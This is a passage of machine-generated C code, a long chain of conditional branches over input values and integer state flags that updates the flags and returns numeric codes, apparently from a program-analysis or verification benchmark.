a12 = 1; a27 = 1; return -1; } else if((((((a18==1)&&((!(a2==1)&&(((input==5)&&(((a12==1)&&(!(a26==1)&&!(a27==1)))||(!(a12==1)&&((a26==1)&&(a27==1)))))&&!(a7==1)))&&(a29==1)))&&(a0==1))&&(a11==1))&&((a6==1)&&((a7==1)||(!(a10==1)||(!(a5==1)&&((a3==0)&&(a0==1)))))))){ a14 = 1; a10 = 0; a6 = 0; a5 = 1; a11 = 0; a12 = 1; a26 = 1; a24 = 0; a27 = 1; return 21; } else if(((((a7==1)||((!(a8==1)&&((!(a12==1)&&((a0==1)&&(a3==0)))&&!(a19==1)))&&(a11==1)))&&!(a5==1))&&((a18==1)&&((((a6==1)&&((a10==1)&&(((((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))||(!(a27==1)&&!(a26==1)))&&(input==4))))&&(a1==1))&&(a22==1))))){ a26 = 0; a15 = 0; a29 = 0; a27 = 0; a5 = 1; a6 = 0; a12 = 1; return 25; } else if(((!(a22==1)&&(((a5==1)&&((a3==2)&&((!(a22==1)&&((a17==1)&&(a10==1)))&&(a12==1))))&&!(a11==1)))&&((!(a15==1)&&(((a18==1)&&(((input==4)&&((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1))))&&(a20==1)))&&(a6==1)))&&!(a4==1)))){ a26 = 1; a29 = 0; a28 = 1; a11 = 1; a6 = 0; a27 = 0; a25 = 1; return -1; } else if(((((a3==2)&&(((a6==1)&&((!(a23==1)&&(!(a25==1)&&(((((a26==1)&&(a27==1))||(!(a26==1)&&(a27==1)))||((a26==1)&&!(a27==1)))&&(input==2))))&&!(a11==1)))&&(a16==1)))&&(a18==1))&&((a5==1)&&((((a25==1)||((a4==1)&&(a22==1)))&&!(a25==1))&&!(a12==1))))){ a6 = 0; a29 = 1; a11 = 1; a26 = 1; a7 = 0; a27 = 1; return 23; } else if((((a11==1)&&((a18==1)&&((a22==1)&&((!(a23==1)&&(((!(a26==1)&&!(a27==1))||((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1))))&&(input==6)))&&!(a12==1)))))&&(!(a22==1)||((a6==1)&&(((a22==1)&&(((a5==1)&&((a4==1)||!(a10==1)))&&(a3==2)))||!(a22==1)))))){ a27 = 1; a17 = 0; a10 = 1; a3 = 0; a8 = 0; a26 = 1; a12 = 1; return -1; } else if(((!(a26==1)&&((!(a22==1)||(!(a1==1)||((!(a8==1)&&(a29==1))||(a7==1))))&&(a29==1)))&&((a3==1)&&((a27==1)&&((!(a12==1)&&(!(a11==1)&&((a18==1)&&(((input==6)&&(a5==1))&&!(a6==1)))))&&!(a19==1)))))){ a3 = 0; a11 = 1; a12 = 1; a8 = 0; a20 = 0; a26 = 1; a6 = 1; a29 = 1; return -1; } else if((((a11==1)&&(!(a8==1)&&((((a12==1)&&(!(a26==1)&&!(a27==1)))||(!(a12==1)&&((a27==1)&&(a26==1))))&&(input==6))))&&(!(a5==1)&&((a3==0)&&((a18==1)&&((((!(a4==1)||(((a1==1)&&!(a8==1))&&(a6==1)))||(a14==1))||!(a0==1))&&(a4==1))))))){ if((a29==1)){ a12 = 1; a26 = 1; a5 = 1; a0 = 0; a27 = 1; a3 = 2; a21 = 1; a6 = 0; a29 = 0; }else{ a29 = 0; a9 = 0; a3 = 2; a26 = 0; a4 = 0; a12 = 0; a5 = 1; a27 = 0; } return -1; } else if(((!(a17==1)&&(!(a8==1)&&((a4==1)&&((a18==1)&&((a3==2)&&(!(a6==1)&&(((!(a17==1)&&((((!(a26==1)&&!(a27==1))&&(a12==1))||(!(a12==1)&&((a27==1)&&(a26==1))))&&(input==2)))&&(a5==1))&&!(a11==1))))))))&&(((a4==1)||(a2==1))||!(a10==1)))){ a3 = 1; a24 = 0; a28 = 0; a0 = 0; a27 = 0; a12 = 0; a26 = 1; return -1; } else if((((a15==1)&&((a3==2)&&((a5==1)&&((((input==1)&&((!(a12==1)&&(((a6==1)&&!(a26==1))&&!(a27==1)))||(((a27==1)&&((a26==1)&&!(a6==1)))&&(a12==1))))&&!(a11==1))&&(a29==1)))))&&((a8==1)||((((a18==1)&&(!(a7==1)&&(a15==1)))&&!(a19==1))&&(a22==1))))){ a12 = 1; a27 = 1; a26 = 1; a25 = 0; a6 = 1; a3 = 0; a16 = 1; a10 = 1; a11 = 1; return -1; } else if(((((((((!(a25==1)&&(a1==1))&&(a0==1))||(a7==1))&&!(a6==1))&&(a29==1))&&(a3==2))&&(a11==1))&&((a18==1)&&((((a27==1)&&(((!(a12==1)&&(input==2))&&(a29==1))&&!(a26==1)))&&!(a25==1))&&(a5==1))))){ a1 = 1; a19 = 0; a0 = 1; return 24; } else if((((a0==1)&&((!(a6==1)&&(((a3==1)&&(!(a12==1)&&((a8==1)||((a22==1)&&!(a23==1)))))||!(a10==1)))&&!(a11==1)))&&(!(a27==1)&&((a26==1)&&((!(a14==1)&&(((input==1)&&(a5==1))&&(a29==1)))&&(a18==1)))))){ a1 = 1; a11 = 1; a12 = 1; a3 = 0; a27 = 1; a19 = 0; a6 = 1; a2 = 0; return -1; } else if(((((((a20==1)||((a4==1)&&((a20==1)||((a29==1)&&(a5==1)))))||!(a22==1))&&(a3==2))&&(a27==1))&&((!(a14==1)&&(!(a26==1)&&(((a1==1)&&((a18==1)&&(!(a12==1)&&(input==1))))&&(a11==1))))&&!(a6==1)))){ a27 = 0; a1 = 1; a25 = 0; a6 = 1; a26 = 1; a3 = 1; a15 = 1; return -1; } else if(((((((((a11==1)&&((a6==1)&&(!(a7==1)&&(a22==1))))&&(a18==1))&&(a5==1))||(a14==1))&&(a16==1))&&(a29==1))&&((a10==1)&&(!(a2==1)&&((((((a26==1)&&!(a27==1))||(((a26==1)&&(a27==1))||((a27==1)&&!(a26==1))))&&(input==1))&&(a3==2))&&(a12==1)))))){ a26 = 1; a3 = 0; a27 = 1; a25 = 0; a23 = 0; a4 = 1; return -1; } else if((((a3==2)&&((!(a17==1)&&((a18==1)&&((a17==1)||(a16==1))))&&(a5==1)))&&(!(a25==1)&&(((!(a11==1)&&((((!(a12==1)&&((!(a26==1)&&(a6==1))&&!(a27==1)))||((a12==1)&&((!(a6==1)&&(a26==1))&&(a27==1))))&&(input==5))&&!(a7==1)))&&!(a19==1))&&!(a7==1))))){ a3 = 0; a12 = 1; a26 = 1; a11 = 1; a15 = 1; a6 = 1; a27 = 1; a2 = 0; a23 = 0; return -1; } else if((((a1==1)&&(((!(a23==1)&&((a27==1)&&(!(a12==1)&&((a18==1)&&(!(a20==1)&&((input==1)&&(a11==1)))))))&&!(a23==1))&&!(a19==1)))&&(!(a20==1)&&((a3==2)&&((a5==1)&&(!(a6==1)&&((a16==1)&&(a26==1)))))))){ a11 = 0; a6 = 1; a14 = 0; a10 = 1; a27 = 0; a23 = 0; return -1; } else if(((((a18==1)&&(((!(a14==1)&&((a4==1)&&((a16==1)&&(((input==3)&&((a26==1)||!(a26==1)))&&(a22==1)))))&&(a11==1))&&(a5==1)))&&!(a6==1))&&((a27==1)&&((a12==1)&&(((a22==1)&&((a10==1)&&(a0==1)))&&(a3==2)))))){ a11 = 0; a17 = 0; a7 = 0; a26 = 1; a6 = 1; a20 = 0; return 21; } else if(((!(a25==1)&&((((((a11==1)&&(((!(a14==1)&&(!(a27==1)&&(a15==1)))&&(a12==1))&&(a5==1)))&&(a3==2))&&!(a2==1))||!(a15==1))&&!(a6==1)))&&((a22==1)&&(((a29==1)&&(((a26==1)||!(a26==1))&&(input==4)))&&(a18==1))))){ a27 = 1; a16 = 1; a6 = 1; a3 = 0; a26 = 1; a0 = 1; a10 = 1; return -1; } else if((((a1==1)&&((a5==1)&&((!(a26==1)&&(a0==1))&&!(a6==1))))&&((((!(a23==1)&&((((!(a11==1)&&(((a3==1)&&(input==2))&&!(a27==1)))&&!(a12==1))&&(a0==1))&&!(a19==1)))&&!(a17==1))&&(a18==1))&&(a16==1)))){ a3 = 0; a12 = 1; a11 = 1; a6 = 1; a14 = 0; a27 = 1; a0 = 1; a7 = 0; a26 = 1; return -1; } else if(((!(a6==1)&&((!(a8==1)&&((!(a7==1)&&((input==4)&&(a11==1)))&&(a5==1)))&&!(a8==1)))&&((a18==1)&&((!(a12==1)&&((((((a3==2)&&(a0==1))||!(a0==1))||!(a1==1))&&(a26==1))&&(a27==1)))||!(a16==1))))){ a11 = 0; a6 = 1; a1 = 1; a2 = 0; a19 = 0; return 23; } else if((((!(a26==1)&&((((a27==1)&&((a10==1)&&(!(a25==1)&&(a22==1))))||!(a16==1))&&!(a2==1)))&&!(a7==1))&&(((a5==1)&&(((a18==1)&&((a0==1)&&(!(a11==1)&&((input==2)&&(a3==1)))))&&!(a6==1)))&&!(a12==1)))){ a11 = 1; a14 = 0; a6 = 1; a15 = 1; a23 = 0; a26 = 1; a3 = 0; a12 = 1; return -1; } else if(((!(a23==1)&&((a1==1)&&(!(a27==1)&&(((input==2)&&(a18==1))&&(a0==1)))))&&(((a12==1)&&((a3==2)&&((!(a11==1)&&((a5==1)&&((a2==1)||((a10==1)&&((a15==1)||(a7==1))))))&&!(a26==1))))&&(a6==1)))){ a29 = 1; a4 = 1; a27 = 1; a17 = 0; a6 = 0; a3 = 1; a26 = 1; a11 = 1; return -1; } else if(((!(a2==1)&&(((a3==2)&&((a5==1)&&((a12==1)&&((!(a11==1)&&((a6==1)&&((input==5)&&((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1))))))&&(a15==1)))))&&(a10==1)))&&(!(a0==1)||((!(a7==1)&&((a4==1)&&(a22==1)))&&(a18==1))))){ a12 = 0; a25 = 0; a3 = 0; a15 = 1; a26 = 1; a6 = 0; a27 = 1; return -1; } else if(((((a0==1)&&(!(a17==1)&&((a0==1)&&((((input==5)&&((!(a26==1)&&!(a27==1))||((!(a26==1)&&(a27==1))||(!(a27==1)&&(a26==1)))))&&!(a2==1))&&!(a12==1)))))&&(a1==1))&&((((a18==1)&&((a11==1)&&(((a22==1)&&(a6==1))&&(a5==1))))&&(a3==2))||!(a29==1)))){ a20 = 0; a27 = 1; a2 = 0; a26 = 0; a6 = 0; a22 = 1; return 24; } else if(((((a3==1)&&(((((((a23==1)||(a15==1))||!(a15==1))&&(a26==1))&&!(a14==1))&&!(a19==1))&&!(a12==1)))&&!(a27==1))&&(!(a6==1)&&(((a5==1)&&((a0==1)&&((a10==1)&&((input==4)&&(a18==1)))))&&!(a11==1))))){ a3 = 0; a29 = 1; a12 = 1; a11 = 1; a15 = 1; a6 = 1; a0 = 1; a27 = 1; return -1; } else if((((a6==1)&&(((!(a19==1)&&((a0==1)&&(!(a5==1)&&(((input==3)&&(((!(a27==1)&&!(a26==1))&&(a12==1))||(((a26==1)&&(a27==1))&&!(a12==1))))&&(a10==1)))))&&!(a25==1))&&(a3==0)))&&((a11==1)&&((a18==1)&&((a4==1)&&(!(a4==1)||(a15==1))))))){ a20 = 1; a6 = 0; a5 = 1; a12 = 0; a3 = 2; a19 = 1; a27 = 1; a26 = 1; a21 = 1; return -1; } else if(((((a6==1)&&(((a19==1)||((!(a19==1)&&(a29==1))||(a20==1)))&&!(a5==1)))&&(a18==1))&&((a11==1)&&((!(a23==1)&&((((a10==1)&&(((((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))||(!(a27==1)&&!(a26==1)))&&(input==3)))&&!(a12==1))&&(a3==0)))&&!(a20==1))))){ if((a15==1)){ a11 = 0; a24 = 0; a0 = 0; a26 = 1; a6 = 0; a27 = 1; a5 = 1; a9 = 1; a3 = 2; }else{ a20 = 1; a5 = 1; a12 = 1; a16 = 0; a27 = 1; a26 = 0; } return -1; } else if((((a18==1)&&((((((a6==1)&&((input==2)&&(((!(a26==1)&&!(a27==1))&&(a12==1))||(!(a12==1)&&((a27==1)&&(a26==1))))))&&!(a23==1))&&(a11==1))&&(a0==1))&&!(a8==1)))&&((!(a7==1)&&((a3==2)&&(((a15==1)||(a14==1))&&(a5==1))))||!(a0==1)))){ a3 = 0; a23 = 0; a12 = 1; a27 = 1; a1 = 1; a26 = 1; return -1; } else if(((((((a3==2)&&((a5==1)&&(((a7==1)||(a22==1))&&!(a6==1))))&&!(a27==1))||!(a4==1))&&(a12==1))&&((a11==1)&&(((a18==1)&&((((((a26==1)||!(a26==1))&&(input==6))&&!(a19==1))&&!(a7==1))&&(a16==1)))&&(a0==1))))){ a27 = 1; a16 = 1; a3 = 0; a7 = 0; a6 = 1; a10 = 1; a26 = 1; return -1; } else if(((((((((a4==1)&&((a18==1)&&((a11==1)&&((((a26==1)&&!(a27==1))||(((a27==1)&&(a26==1))||((a27==1)&&!(a26==1))))&&(input==6)))))&&(a10==1))&&(a22==1))&&!(a25==1))&&(a3==2))&&(a6==1))&&((((a5==1)&&((a12==1)&&(a15==1)))&&(a1==1))&&!(a7==1)))){ a3 = 0; a10 = 1; a27 = 1; a26 = 1; a1 = 1; a8 = 0; return -1; } else if(((((((a16==1)||!(a16==1))||(a25==1))&&(a18==1))&&!(a2==1))&&((a22==1)&&((((input==5)&&(((a5==1)&&(((((!(a26==1)&&!(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==2))&&!(a11==1)))||(!(a5==1)&&(((((a27==1)&&((a6==1)&&(a26==1)))&&(a12==1))&&(a3==0))&&(a11==1)))))&&(a16==1))&&!(a7==1))))){ a13 = 1; a25 = 1; a12 = 1; a26 = 0; a3 = 1; a27 = 0; a20 = 1; a11 = 1; a6 = 1; a5 = 1; return -1; } else if(((((a18==1)&&((a5==1)&&(!(a12==1)&&(!(a20==1)&&(((input==5)&&((!(a26==1)&&(a27==1))||(!(a27==1)&&(a26==1))))&&(a0==1))))))&&(a3==2))&&(!(a11==1)&&(((a22==1)&&((a14==1)||(!(a6==1)&&((a10==1)||(a14==1)))))||(a2==1))))){ a21 = 0; a27 = 1; a26 = 1; a24 = 1; a3 = 1; return -1; } else if(((((!(a27==1)&&((a3==2)&&(((!(a16==1)||(a29==1))&&(a22==1))||!(a22==1))))&&(a10==1))&&!(a8==1))&&(((!(a25==1)&&(!(a26==1)&&((((input==1)&&(a6==1))&&!(a11==1))&&(a5==1))))&&(a12==1))&&(a18==1)))){ a26 = 1; a2 = 0; a29 = 1; a6 = 0; a11 = 1; a23 = 0; a3 = 0; return -1; } else if((((((!(a14==1)&&(((a0==1)&&((a15==1)&&(!(a8==1)&&((input==5)&&((!(a26==1)&&(a27==1))||(!(a27==1)&&(a26==1)))))))&&!(a25==1)))&&(a5==1))&&!(a6==1))&&(a18==1))&&(!(a11==1)&&((a3==2)&&((a12==1)&&((a10==1)&&!(a23==1))))))){ a11 = 1; a26 = 1; a23 = 0; a27 = 1; a19 = 0; a12 = 0; return 23; } else if(((((((a6==1)&&((a12==1)&&((a2==1)&&(a22==1))))&&(a23==1))&&(a8==1))&&(a7==1))&&((!(a11==1)&&(((a3==2)&&((a19==1)&&(((input==3)&&((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1))))&&(a5==1))))&&(a18==1)))&&(a17==1)))){ a28 = 0; a27 = 0; a8 = 1; a12 = 0; a13 = 1; a11 = 1; a26 = 1; return 23; } else if(((((a3==2)&&(((a4==1)&&(!(a17==1)&&((!(a19==1)&&(((a26==1)&&((a27==1)&&((input==3)&&(a18==1))))&&(a0==1)))&&(a4==1))))&&!(a17==1)))&&(a5==1))&&(((!(a6==1)&&(a15==1))&&!(a12==1))&&(a11==1)))){ if((a20==1)){ a14 = 0; a26 = 0; a11 = 0; a6 = 1; a15 = 1; }else{ a10 = 1; a17 = 0; a14 = 0; } return 23; } else if((((a22==1)&&(((((a29==1)||!(a4==1))||(a17==1))&&(a18==1))&&(a11==1)))&&(!(a6==1)&&((a12==1)&&((((a3==2)&&((a4==1)&&((a5==1)&&((a27==1)&&(((a26==1)||!(a26==1))&&(input==2))))))&&!(a8==1))&&(a15==1)))))){ a25 = 0; a1 = 1; a3 = 0; a7 = 0; a26 = 1; a6 = 1; return -1; } else if((((a6==1)&&((a19==1)||(((a8==1)||(!(a12==1)&&(((a5==1)&&(a10==1))||!(a4==1))))&&(a11==1))))&&((a18==1)&&(!(a19==1)&&(((a1==1)&&(((input==1)&&(((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1)))||(!(a27==1)&&!(a26==1))))&&(a3==2)))&&!(a20==1)))))){ a0 = 1; a12 = 1; a26 = 1; a2 = 0; a27 = 1; a1 = 1; a3 = 0; return -1; } else if(((((a3==2)&&((a29==1)&&((a10==1)&&((a17==1)||((((a15==1)&&(a22==1))&&!(a12==1))&&(a29==1))))))&&(a6==1))&&((!(a11==1)&&((((((a26==1)&&!(a27==1))||(((a27==1)&&(a26==1))||((a27==1)&&!(a26==1))))&&(input==4))&&(a29==1))&&(a5==1)))&&(a18==1)))){ if((a23==1)){ a14 = 0; a29 = 1; a26 = 0; a27 = 1; a23 = 0; }else{ a27 = 1; a26 = 1; a25 = 0; a11 = 1; a4 = 1; a6 = 0; } return 23; } else if(((((a8==1)||((a14==1)||(((a22==1)&&(a11==1))&&!(a6==1))))&&!(a27==1))&&((a12==1)&&((a16==1)&&(!(a17==1)&&((a5==1)&&((a4==1)&&((a3==2)&&(((a0==1)&&(((a26==1)||!(a26==1))&&(input==2)))&&(a18==1)))))))))){ a26 = 1; a6 = 1; a27 = 1; a3 = 0; a29 = 1; a0 = 1; a15 = 1; return -1; } else if((((((((((a26==1)||!(a26==1))&&(input==4))&&(a5==1))&&(a27==1))&&!(a19==1))&&(a18==1))&&(a16==1))&&(((!(a16==1)||((((a11==1)&&(((a15==1)&&(a3==2))&&!(a6==1)))||!(a22==1))&&(a12==1)))&&!(a25==1))&&(a16==1)))){ a16 = 1; a6 = 1; a3 = 0; a10 = 1; a26 = 1; return -1; } else if(((((a5==1)&&((((a18==1)&&((a0==1)&&(((a16==1)&&((input==2)&&((((!(a26==1)&&(a6==1))&&!(a27==1))&&!(a12==1))||((a12==1)&&((a27==1)&&(!(a6==1)&&(a26==1)))))))&&!(a25==1))))&&!(a2==1))&&(a3==2)))&&(a22==1))&&(!(a11==1)&&((a29==1)||!(a1==1))))){ a12 = 1; a6 = 1; a26 = 1; a27 = 1; a2 = 0; a22 = 1; a3 = 0; a11 = 1; return -1; } else if((((a12==1)&&(!(a6==1)&&(((a11==1)&&((((a26==1)||!(a26==1))&&(input==5))&&(a3==2)))&&!(a14==1))))&&(!(a15==1)||(((a15==1)&&(!(a0==1)||((((a18==1)&&((a5==1)&&(a1==1)))||(a19==1))&&(a27==1))))||(a2==1))))){ a26 = 1; a16 = 1; a15 = 1; a6 = 1; a3 = 0; return -1; } else if((((((((a5==1)&&((a3==2)&&(a1==1)))&&(a18==1))&&(a22==1))&&!(a11==1))||!(a0==1))&&((((a12==1)&&(((a6==1)&&((((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1)))&&(input==4))&&!(a8==1)))&&(a4==1)))&&!(a23==1))&&(a29==1)))){ a12 = 0; a10 = 1; a27 = 1; a6 = 0; a23 = 0; a26 = 0; a8 = 0; a3 = 0; return -1; } else if(((!(a19==1)&&((a16==1)&&(!(a7==1)&&(!(a20==1)&&(((input==2)&&((!(a11==1)&&((a12==1)&&((a27==1)&&((a6==1)&&(a26==1)))))||(((a11==1)&&((!(a27==1)&&(!(a6==1)&&(a26==1)))&&!(a12==1)))||((a11==1)&&(!(a12==1)&&(!(a27==1)&&(!(a26==1)&&!(a6==1))))))))&&!(a17==1))))))&&((a18==1)&&((a17==1)||(((a15==1)&&(a3==2))&&(a5==1)))))){ a12 = 0; a11 = 1; a27 = 0; a6 = 0; a26 = 0; a25 = 0; a16 = 1; a20 = 0; return -1; } else if((((a12==1)&&((a3==2)&&((!(a1==1)||(!(a22==1)||((a11==1)&&((a4==1)&&((a6==1)&&((a4==1)||!(a15==1)))))))||(a2==1))))&&((a29==1)&&((a18==1)&&((a5==1)&&(((((a26==1)&&(a27==1))||((a27==1)&&!(a26==1)))||(!(a27==1)&&(a26==1)))&&(input==4))))))){ a23 = 0; a10 = 1; a3 = 0; a27 = 1; a4 = 1; a26 = 1; return -1; } else if(((!(a11==1)&&((a5==1)&&((((input==5)&&(((a27==1)&&!(a26==1))||(!(a27==1)&&(a26==1))))&&(a23==1))&&(a3==2))))&&((a23==1)&&(!(a4==1)&&((((a18==1)&&((((a12==1)&&(a29==1))&&!(a22==1))&&!(a0==1)))&&(a19==1))&&(a6==1)))))){ a27 = 1; a0 = 0; a12 = 0; a11 = 1; a29 = 0; a26 = 0; a28 = 1; return -1; } else if((((((a1==1)&&(((input==6)&&(((a12==1)&&(!(a26==1)&&!(a27==1)))||(((a27==1)&&(a26==1))&&!(a12==1))))&&(a1==1)))&&(a5==1))&&(a16==1))&&(((a3==2)&&(!(a11==1)&&((!(a1==1)||((!(a6==1)&&(a0==1))&&!(a20==1)))&&(a18==1))))&&!(a17==1)))){ a3 = 0; a12 = 1; a24 = 0; a28 = 1; a26 = 1; a4 = 0; a27 = 0; return -1; } else if((((a18==1)&&(((!(a20==1)&&(a0==1))||(a20==1))&&(a1==1)))&&((a3==2)&&((a1==1)&&((a5==1)&&((((((((a27==1)&&((a26==1)&&(a6==1)))&&(a12==1))&&!(a11==1))||((((!(a27==1)&&(!(a6==1)&&(a26==1)))&&!(a12==1))&&(a11==1))||((!(a12==1)&&(!(a27==1)&&(!(a6==1)&&!(a26==1))))&&(a11==1))))&&(input==1))&&!(a7==1))&&(a15==1))))))){ a6 = 0; a26 = 1; a1 = 1; a23 = 0; a27 = 1; a12 = 0; a11 = 1; a14 = 0; a3 = 1; return -1; } else if(((((((a18==1)&&((a25==1)||(!(a11==1)&&((a4==1)&&(a3==2)))))&&(a0==1))&&(a5==1))||(a7==1))&&((a10==1)&&((!(a14==1)&&((input==6)&&((((!(a26==1)&&(a6==1))&&!(a27==1))&&!(a12==1))||((a12==1)&&((a27==1)&&(!(a6==1)&&(a26==1)))))))&&(a4==1))))){ a11 = 1; a26 = 1; a12 = 1; a3 = 0; a7 = 0; a27 = 1; a4 = 1; a0 = 1; a6 = 1; return -1; } else if((((!(a11==1)&&(((((a12==1)&&((((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))&&(input==3)))&&!(a8==1))&&!(a19==1))&&!(a14==1)))&&(a0==1))&&(((a3==2)&&((((a5==1)&&(!(a6==1)&&(a29==1)))||(a17==1))&&(a16==1)))&&(a18==1)))){ a7 = 0; a22 = 1; a16 = 1; a3 = 0; a26 = 0; a27 = 0; return -1; } else if((((!(a19==1)&&(((((a4==1)&&!(a26==1))||!(a4==1))&&!(a11==1))&&!(a6==1)))||(a23==1))&&(!(a27==1)&&((a5==1)&&((((a22==1)&&((((a3==1)&&(input==5))&&!(a12==1))&&!(a25==1)))&&(a1==1))&&(a18==1)))))){ a11 = 1; a12 = 1; a6 = 1; a1 = 1; a15 = 1; a10 = 1; a27 = 1; a3 = 0; a26 = 1; return -1; } else if((((a4==1)&&((((((((!(a12==1)&&(((a26==1)&&!(a6==1))&&!(a27==1)))&&(a11==1))||((!(a12==1)&&(!(a27==1)&&(!(a6==1)&&!(a26==1))))&&(a11==1)))||(!(a11==1)&&((((a6==1)&&(a26==1))&&(a27==1))&&(a12==1))))&&(input==4))&&(a5==1))&&(a18==1))&&!(a19==1)))&&(((a17==1)||((!(a25==1)&&((a3==2)&&(a29==1)))||(a23==1)))&&(a1==1)))){ a6 = 1; a12 = 1; a26 = 1; a11 = 0; a8 = 0; a27 = 1; a22 = 1; a15 = 1; return -1; } else if((((a3==2)&&(((a18==1)&&(((input==2)&&((!(a26==1)&&(a27==1))||((a26==1)&&!(a27==1))))&&(a10==1)))&&(a15==1)))&&((((a23==1)||((a20==1)||((!(a25==1)&&(((a5==1)&&(a4==1))&&!(a8==1)))&&(a12==1))))&&!(a11==1))&&!(a6==1)))){ a26 = 1; a10 = 1; a27 = 1; a3 = 0; a6 = 1; a11 = 1; a19 = 0; a23 = 0; return -1; } else if(((!(a23==1)&&((!(a2==1)&&((((a5==1)&&(a29==1))||!(a1==1))||!(a22==1)))||(a8==1)))&&((a0==1)&&((a18==1)&&(!(a12==1)&&(!(a26==1)&&((((a3==2)&&((a27==1)&&(input==6)))&&(a11==1))&&!(a6==1)))))))){ a0 = 1; a7 = 0; a22 = 1; return -1; } else if((((a1==1)&&(((((a15==1)&&((!(a11==1)&&(!(a23==1)&&(!(a14==1)&&((input==3)&&(((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1)))))))&&(a10==1)))&&!(a6==1))&&(a5==1))&&(a1==1)))&&((a3==2)&&((!(a12==1)&&(a10==1))&&(a18==1))))){ a26 = 1; a0 = 0; a27 = 1; a9 = 1; a21 = 0; return -1; } else if(((!(a11==1)&&((a18==1)&&((!(a23==1)&&(((((a5==1)&&((input==1)&&(((a12==1)&&(!(a27==1)&&!(a26==1)))||(((a26==1)&&(a27==1))&&!(a12==1)))))&&!(a6==1))&&!(a14==1))&&(a16==1)))&&(a3==2))))&&(!(a10==1)||((a19==1)||(!(a7==1)&&(a0==1)))))){ a12 = 0; a26 = 1; a11 = 1; a3 = 0; a22 = 0; a24 = 1; a27 = 1; a7 = 1; return -1; } else if((((((!(a25==1)&&((((a22==1)||(a8==1))&&(a18==1))||!(a15==1)))&&!(a12==1))&&(a6==1))&&(a5==1))&&((a11==1)&&(((((a3==2)&&((input==4)&&((!(a27==1)&&!(a26==1))||((!(a26==1)&&(a27==1))||(!(a27==1)&&(a26==1))))))&&!(a14==1))&&(a16==1))&&!(a20==1))))){ a27 = 1; a12 = 1; a3 = 0; a10 = 1; a26 = 1; a25 = 0; a16 = 1; return -1; } else if(((!(a17==1)&&((((!(a11==1)&&(a1==1))&&(a18==1))&&(a6==1))&&(a3==2)))&&((a4==1)&&((a16==1)&&(!(a20==1)&&((a15==1)&&((((((((a27==1)&&(a26==1))||((a27==1)&&!(a26==1)))||((a26==1)&&!(a27==1)))&&(input==1))&&!(a14==1))&&(a5==1))&&!(a12==1)))))))){ if((a10==1)){ a26 = 0; a27 = 1; a1 = 1; a2 = 0; a14 = 0; }else{ a23 = 0; a0 = 1; a6 = 0; a25 = 0; a11 = 1; a26 = 1; a27 = 1; } return -1; } else if((((a1==1)&&(((a18==1)&&((!(a27==1)&&(a29==1))&&(a10==1)))||(a7==1)))&&(((!(a19==1)&&(((a5==1)&&((((a11==1)&&((input==3)&&((a26==1)||!(a26==1))))&&!(a6==1))&&(a12==1)))&&(a3==2)))&&(a16==1))&&(a0==1)))){ a26 = 1; a6 = 1; a11 = 0; a22 = 1; a15 = 1; a8 = 0; return 25; } else if((((((a16==1)&&((a18==1)&&((input==2)&&(((a5==1)&&(((!(a12==1)&&(!(a27==1)&&(!(a26==1)&&!(a6==1))))&&(a3==2))&&!(a11==1)))||(!(a5==1)&&((a11==1)&&(((a12==1)&&(((a6==1)&&(a26==1))&&(a27==1)))&&(a3==0))))))))&&(a10==1))&&(a29==1))&&((a0==1)&&(((a15==1)&&!(a14==1))&&!(a2==1))))){ if((a11==1)){ a26 = 1; a12 = 0; a27 = 0; a14 = 1; a5 = 1; a11 = 1; a3 = 0; a24 = 0; a6 = 0; }else{ a3 = 2; a11 = 1; a6 = 1; a12 = 0; a5 = 1; a27 = 1; a13 = 0; a26 = 1; a25 = 1; a21 = 1; } return 23; } else if(((((a3==2)&&((a18==1)&&(a1==1)))&&!(a19==1))&&(((((a15==1)&&((((input==3)&&((((a12==1)&&((a27==1)&&((a6==1)&&(a26==1))))&&!(a11==1))||(((!(a12==1)&&(!(a27==1)&&((a26==1)&&!(a6==1))))&&(a11==1))||((a11==1)&&((!(a27==1)&&(!(a26==1)&&!(a6==1)))&&!(a12==1))))))&&(a5==1))&&!(a17==1)))&&(a10==1))&&(a16==1))&&(a0==1)))){ a26 = 0; a27 = 1; a20 = 0; a29 = 1; a10 = 1; a11 = 1; a6 = 0; a12 = 0; return -1; } else if((((!(a11==1)&&((a1==1)&&(a29==1)))&&(a12==1))&&((!(a2==1)&&(!(a6==1)&&((!(a17==1)&&(((a3==2)&&((a18==1)&&(((input==6)&&(((a27==1)&&!(a26==1))||((a26==1)&&!(a27==1))))&&(a0==1))))&&(a15==1)))&&(a22==1))))&&(a5==1)))){ a10 = 1; a19 = 0; a27 = 1; a2 = 0; a6 = 1; a26 = 1; a3 = 0; a11 = 1; return -1; } else if(((((((a2==1)||((a5==1)&&((a3==2)&&(a10==1))))&&(a18==1))||!(a1==1))&&!(a12==1))&&(!(a7==1)&&(!(a14==1)&&(!(a11==1)&&((((((!(a26==1)&&(a27==1))||(!(a27==1)&&(a26==1)))&&(input==4))&&(a4==1))&&!(a6==1))&&(a10==1))))))){ a21 = 0; a26 = 1; a13 = 0; a4 = 0; a6 = 1; a27 = 0; return -1; } else if((((!(a10==1)||(!(a12==1)&&(!(a27==1)&&(!(a7==1)&&(a22==1)))))&&!(a6==1))&&((a3==1)&&(!(a11==1)&&((!(a20==1)&&((a0==1)&&((!(a2==1)&&((a18==1)&&((a5==1)&&(input==5))))&&!(a19==1))))&&(a26==1)))))){ a16 = 1; a22 = 1; a11 = 1; a3 = 2; a27 = 1; a6 = 1; return 21; } else if(((((((!(a7==1)&&(a16==1))||!(a10==1))||!(a15==1))&&!(a6==1))||!(a22==1))&&(((!(a12==1)&&((a3==2)&&((a18==1)&&((!(a11==1)&&((((a27==1)&&!(a26==1))||(!(a27==1)&&(a26==1)))&&(input==6)))&&(a5==1)))))&&(a29==1))&&(a0==1)))){ a27 = 1; a15 = 0; a14 = 1; a3 = 1; a26 = 0; a6 = 1; return -1; } else 